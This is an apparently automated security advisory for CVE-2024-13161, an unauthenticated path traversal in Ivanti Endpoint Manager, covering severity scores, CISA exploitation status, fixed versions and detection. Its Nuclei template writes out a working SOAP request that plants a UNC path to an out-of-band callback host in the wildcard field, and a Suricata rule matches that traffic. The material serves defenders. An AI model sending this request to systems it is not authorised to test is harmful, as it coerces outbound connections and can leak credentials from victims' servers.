CVE-2024-13161: Ivanti exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

Absolute path traversal in Ivanti EPM before the 2024 January-2025 Security Update and 2022 SU6 January-2025 Security Update allows a remote unauthenticated attacker to leak sensitive information.

Description quoted from the CVE record (assigned by ivanti, published 2025-01-14).

Weakness: CWE-36 Absolute Path Traversal

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since: 2025-03-10
US federal deadline: 2025-03-31
Ransomware use: Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-00408, CNNVD-202501-1840, EUVD-2024-51387, GHSA-5fwx-95cc-hcxv

VEDAS cluster: VEDAS:FLAMINGOFABRIC

Exploit Observer links 6 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (6)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (5)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2024-51387
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-5fwx-95cc-hcxv
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2024-13161
Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-13161
Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202501-1840

37 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.898
very likely to be attacked soon
VEDAS: 0.978
strong exploit evidence
On CISA KEV: Yes, since 2025-03-10
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

Product	Affected	Not affected
Ivanti Endpoint Manager	Not stated	2024 January-2025 Security Update is not affected; 2022 SU6 January-2025 Security Update is not affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: ivanti endpoint_manager, ivanti ivanti_endpoint_manager.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Ivanti EPM - Path Traversal
Absolute path traversal in Ivanti EPM before the 2024 January-2025 Security Update and 2022 SU6 January-2025 Security Update allows a remote unauthenticated attacker to leak sensitive information.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /WSVulnerabilityCore/VulCore.asmx); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2024-13161.yaml

Show the template (49 lines)

yaml

id: CVE-2024-13161

info:
  name: "Ivanti EPM - Path Traversal"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Absolute path traversal in Ivanti EPM before the 2024 January-2025 Security Update and 2022 SU6 January-2025
    Security Update allows a remote unauthenticated attacker to leak sensitive information.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-13161&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=ivanti&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-13161
    cwe-id: CWE-36
  metadata:
    verified: false
  tags: cve,cve2024,ivanti,epm,ntlm,traversal,kev,vkev,vuln
variables:
  file: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /WSVulnerabilityCore/VulCore.asmx HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: text/xml
        Soapaction: http://tempuri.org/GetHashForSingleFile

        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
            <soap:Body>
                <GetHashForSingleFile xmlns="http://tempuri.org/">
                    <wildcard>\\{{interactsh-url}}\tmp\{{file}}.txt</wildcard>
                </GetHashForSingleFile>
            </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(body, "<GetHashForSingleFileResponse")'
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and

CVE-2024-13161.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2024-13161 Ivanti EPM - Path Traversal. Add them to your Suricata rule set and reload.

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suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2024-13161 Ivanti EPM - Path Traversal"; flow:established,to_server; http.uri; content:"WSVulnerabilityCore"; nocase; http.request_body; content:"http://"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2024-13161; reference:url,https://www.exploit.observer/?keyword=CVE-2024-13161&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=ivanti&match=exact; sid:1009252; rev:1;)

CVE-2024-13161.rules on GitHub

References

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.